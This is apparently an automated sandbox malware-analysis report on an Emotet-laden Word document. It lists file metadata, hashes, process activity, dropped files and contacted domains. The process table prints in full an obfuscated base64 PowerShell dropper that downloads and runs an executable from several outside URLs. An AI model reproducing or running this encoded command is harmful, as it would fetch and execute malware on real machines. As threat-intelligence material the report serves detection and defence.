File name: | Document du 16 oct.doc |
Full analysis: | https://app.any.run/tasks/d65deaf9-2bc4-40fd-bb01-5c4585838748 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | October 20, 2020, 12:29:20 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Consequatur., Author: Louis Rey, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Oct 16 11:17:00 2020, Last Saved Time/Date: Fri Oct 16 11:17:00 2020, Number of Pages: 1, Number of Words: 2907, Number of Characters: 16576, Security: 8 |
MD5: | 446459B3FDE33A5EFCBFCEC999E279E0 |
SHA1: | FD998C50EAF6A3AD82B22445A7B2495883853CC7 |
SHA256: | C7DB25CFD29E119CDAEB8F214282A5E9AC3ED037F953D598DEAB8D916838A63E |
SSDEEP: | 3072:ei/HfmSDBeY5kb0TUNAuBqVPlB11nBEtAWTZIKP7X/PkpRhmp:eYHzEYOb0TUquBqt7nBgX/PIRhmp |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
LocaleIndicator: | 1033 |
CodePage: | Unicode UTF-16, little endian |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 15 |
CharCountWithSpaces: | 19445 |
Paragraphs: | 38 |
Lines: | 138 |
Company: | - |
Security: | Locked for annotations |
Characters: | 16576 |
Words: | 2907 |
Pages: | 1 |
ModifyDate: | 2020:10:16 10:17:00 |
CreateDate: | 2020:10:16 10:17:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | Louis Rey |
Subject: | - |
Title: | Consequatur. |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2516 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Document du 16 oct.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2752 | POwersheLL -ENCOD JABSAGoAcgBzAHoANAAwAD0AKAAnAEYAJwArACcAMQAnACsAKAAnAGIAJwArACcAcwBjAGYAZAAnACkAKQA7ACQAUgBpAHUAYwAwADUAMgA9ACQAUgB3AGkAaQBzAHYANAAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQAWQBfAGUAcABrAHkANgA7ACQARwBfAG4AegBtAGoANAA9ACgAKAAnAEoAJwArACcAXwAxADYAJwApACsAKAAnAHMAMAAnACsAJwB5ACcAKQApADsAWwBzAHkAcwB0AGUAbQAuAGkAbwAuAGQAaQByAGUAYwB0AG8AcgB5AF0AOgA6ACIAYwBSAEUAYQBUAGAAZQBgAGQAaQByAEUAQwB0AE8AcgBZACIAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAFoAUgAnACsAKAAnAEQASwBsACcAKwAnAHYAOQAnACsAJwB1AHQAJwApACsAKAAnAHEAJwArACcAWgAnACsAJwBSAEQASQB1ACcAKQArACgAJwAwACcAKwAnADkAJwArACcAZgBlADAAWgBSAEQAJwApACkALQBjAFIAZQBQAGwAQQBDAGUAIAAoAFsAYwBoAEEAUgBdADkAMAArAFsAYwBoAEEAUgBdADgAMgArAFsAYwBoAEEAUgBdADYAOAApACwAWwBjAGgAQQBSAF0AOQAyACkAKQA7ACQATABrAGoAdQA3ADIAYgA9ACgAJwBNACcAKwAoACcAbQB1ACcAKwAnAHoAeQAnACkAKwAnAHUAbAAnACkAOwBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAcwBlAEMAdQBgAFIAaQB0AGAAWQBwAFIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6ACIAVABMAGAAUwAxADIAIgA7ACQAVwByAGkAYwAzAG8AbAA9ACgAJwBVACcAKwAoACcAdwAnACsAJwA2AHQANwAwACcAKQArACcAeAAnACkAOwAkAFEAbwAyAHEAMABqAHcAIAA9ACAAKAAoACcASQA5ACcAKwAnADAAXwBwACcAKQArACgAJwBsAHkAJwArACcAcwA5ACcAKQApADsAJABHAGEAegBkADAANQB5AD0AKAAnAFoAJwArACgAJwBhADEAJwArACcAdgBwAGMAXwAnACkAKQA7ACQAVABrADcAdABpAHQAegA9ACgAKAAnAEoAMgB2ACcAKwAnAG0AZQAnACkAKwAnAHUANQAnACkAOwAkAE0AcABjAHgAdQBkAHMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcASABwACcAKwAnAEMASwAnACsAJwBsACcAKwAnAHYAJwArACcAOQB1ACcAKwAoACcAdAAnACsAJwBxAEgAJwArACcAcABDAEkAJwArACcAdQAnACsAJwAwADkAZgBlADAASABwACcAKQArACcAQwAnACkALgAiAFIAZQBwAGAAbABhAGAAYwBFACIAKAAoAFsAYwBIAGEAcgBdADcAMgArAFsAYwBIAGEAcgBdADEAMQAyACsAWwBjAEgAYQByAF0ANgA3ACkALAAnAFwAJwApACkAKwAkAFEAbwAyAHEAMABqAHcAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABEAHMAZgBsADIAegB5AD0AKAAoACcAVwB6ACcAKwAnADAAJwApACsAKAAnAHgAaQAnACsAJwAyACcAKQArACcAcwAnACkAOwAkAEoAdQB3AHEAbQBoADMAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AdwBFAGIAQwBMAEkAZQBOAHQAOwAkAFEAZwB4AGUAOABwAGoAPQAoACgAJwBoACcAKwAnAHQAdAAnACsAJwBwAHMAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AJwApACsAJwBzACcAKwAnAGEAJwArACgAJwBmAGUAYQBiAG8AcgAnACsAJwB0ACcAKwAnAGkAbwBuAHIAeAAnACsAJwAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGUAeAB0ACcAKwAnAC8AWABJAEkALwAnACkAKwAoACcAKgBoAHQAdABwAHMAOgAnACsAJwAvACcAKQArACcALwBiACcAKwAoACcAcgBpAGcAJwArACcAaAB0AGMAJwApACsAJwBkAHIAJwArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAdwBwACcAKQArACcALQAnACsAKAAnAGMAbwBuAHQAZQAnACsAJwBuACcAKwAnAHQAJwApACsAKAAnAC8AJwArACcATABOAFQARQBMACcAKQArACgAJwBpACcAKwAnAHEALwAqAGgAJwArACcAdAAnACsAJwB0AHAAcwA6AC8ALwB3AHcAJwArACcAdwAnACsAJwAuAGMAYQAnACsAJwB2AGEAbgBjACcAKwAnAGEAJwApACsAKAAnAHIAdAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AcwAnACsAJwB0AGEAJwArACcAdABpACcAKwAoACcAYwAnACsAJwBtAGEAcAAvACcAKQArACcAVwBSACcAKwAoACcALwAqACcAKwAnAGgAJwApACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoAJwArACgAJwAvACcAKwAnAC8AdwB3AHcALgAnACkAKwAoACcAaAAnACsAJwBvAG0AJwApACsAJwBlACcAKwAoACcAYQBiACcAKwAnAG8AJwArACcAcgB0AGkAbwBuACcAKQArACcAcABpACcAKwAnAGwAbAAnACsAKAAnAHMAcgB4ACcAKwAnAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAZQB4AHQALwBOADYAJwApACsAJwBTAEsAJwArACgAJwBkAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAoACcAcAAnACsAJwA6ACcAKwAnAC8ALwBwAG8AcgB0ACcAKQArACgAJwBhACcAKwAnAGwALgAnACsAJwBkAGkAZwBpAHQAJwApACsAKAAnAGEAbABjAG8AJwArACcAbQAnACkAKwAnAHAAYQAnACsAKAAnAHMAcwAuAGMAbwBtACcAKwAnAC8AUwAnACkAKwAnAHQAeQAnACsAKAAnAGwAZQAnACsAJwBzACcAKQArACgAJwAvAGQAZQBlACcAKwAnAEIAJwApACsAKAAnAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGEAJwApACsAKAAnAHAAJwArACcAaQBkAG8AYwAnACkAKwAoACcAcwAuACcAKwAnAGQAJwApACsAKAAnAGMAZAAnACsAJwBpAGEAbAAnACkAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAaQAnACsAJwBuAGMAbAAnACsAJwB1AGQAZQBzACcAKwAnAC8ASAAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACkAKwAoACcAdAAnACsAJwBwADoALwAnACkAKwAnAC8AJwArACcAMwA2ACcAKwAoACcAMAB3AHcAdwAnACsAJwAuAGMAYQAvAGMAbwAnACsAJwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0AC8AJwArACcAMgAvACcAKQApAC4AIgBzAHAATABgAGkAVAAiACgAJABBAHYAdQBuAHgAcABiACAAKwAgACQAUgBpAHUAYwAwADUAMgAgACsAIAAkAEgAZAAyAGgAaQBtAGIAKQA7ACQARQBhAHEAOQA4AHkAZAA9ACgAJwBRADYAJwArACcAeQB0ACcAKwAoACcAdQBjACcAKwAnAG4AJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYANAB6ADEAMQB3AGgAIABpAG4AIAAkAFEAZwB4AGUAOABwAGoAKQB7AHQAcgB5AHsAJABKAHUAdwBxAG0AaAAzAC4AIgBkAE8AVwBgAE4AbABPAGEARABgAEYAYABJAEwARQAiACgAJABWADQAegAxADEAdwBoACwAIAAkAE0AcABjAHgAdQBkAHMAKQA7ACQARwB6AGwAdQBfAHEAZAA9ACgAKAAnAEwAcQBhACcAKwAnAHkAMAAnACkAKwAnAHEANAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQATQBwAGMAeAB1AGQAcwApAC4AIgBMAEUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAMQA2ADcANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACgAJwBpAG4AJwArACcAMwAyAF8AUAByAG8AJwArACcAYwAnACkAKwAoACcAZQBzACcAKwAnAHMAJwApACkAKQAuACIAQwBSAGAARQBhAGAAVABFACIAKAAkAE0AcABjAHgAdQBkAHMAKQA7ACQATwBxAGkAawB2AF8AbQA9ACgAJwBOACcAKwAoACcAMwAzACcAKwAnADIAdABmACcAKQArACcAaQAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMAB0AGEAcgBwADIAPQAoACcAUwByACcAKwAoACcAcgAnACsAJwB5AHEAZAAnACkAKwAnAGcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABEADcAYQB4AGUAbQB5AD0AKAAnAFoAJwArACgAJwBkAHIAJwArACcAegBsACcAKwAnAF8AOQAnACkAKQA= | C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2516 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR4098.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2752 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SXREFSUN8TRSV5L6H5EI.temp | — | |
MD5:— | SHA256:— | |||
2752 | POwersheLL.exe | C:\Users\admin\Klv9utq\Iu09fe0\I90_plys9.exe | — | |
MD5:— | SHA256:— | |||
2752 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d4dd6.TMP | binary | |
MD5:D6EE8C34E4C28999F00E385C8808E7DE | SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB | |||
2516 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$cument du 16 oct.doc | pgc | |
MD5:12D9E40F91505177D68C292218C1D42C | SHA256:DD7E550172EE9A5C231437BD971E837355AA5BAA3A0C0A6B86BAD8D5CFFBA022 | |||
2752 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:D6EE8C34E4C28999F00E385C8808E7DE | SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB | |||
2516 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:BFFFEE1D472E200DA3491B4E1E7F868C | SHA256:1938066353EEDA7B24381CCCD8049C706837187B0361A1C381661B8FB79E6E9E | |||
2516 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:3F38725990A2E5275FE09A2ED3562A89 | SHA256:7B84026E1ADCCF6ADF17984ED5ECAD01AFE5FD3F99C57E22AA41D83F3F6BF559 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2752 | POwersheLL.exe | GET | 503 | 51.15.190.238:80 | http://360www.ca/content/2/ | FR | html | 933 b | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2752 | POwersheLL.exe | 172.67.193.195:443 | apidocs.dcdial.com | — | US | unknown |
2752 | POwersheLL.exe | 104.27.188.1:443 | brightcdr.com | Cloudflare Inc | US | shared |
2752 | POwersheLL.exe | 89.185.234.56:443 | www.safeabortionrx.com | Master Internet s.r.o. | CZ | unknown |
2752 | POwersheLL.exe | 51.15.190.238:80 | 360www.ca | Online S.a.s. | FR | suspicious |
Domain | IP | Reputation |
---|---|---|
www.safeabortionrx.com |
| unknown |
brightcdr.com |
| suspicious |
www.cavancart.com |
| unknown |
www.homeabortionpillsrx.com |
| unknown |
portal.digitalcompass.com |
| suspicious |
apidocs.dcdial.com |
| unknown |
360www.ca |
| suspicious |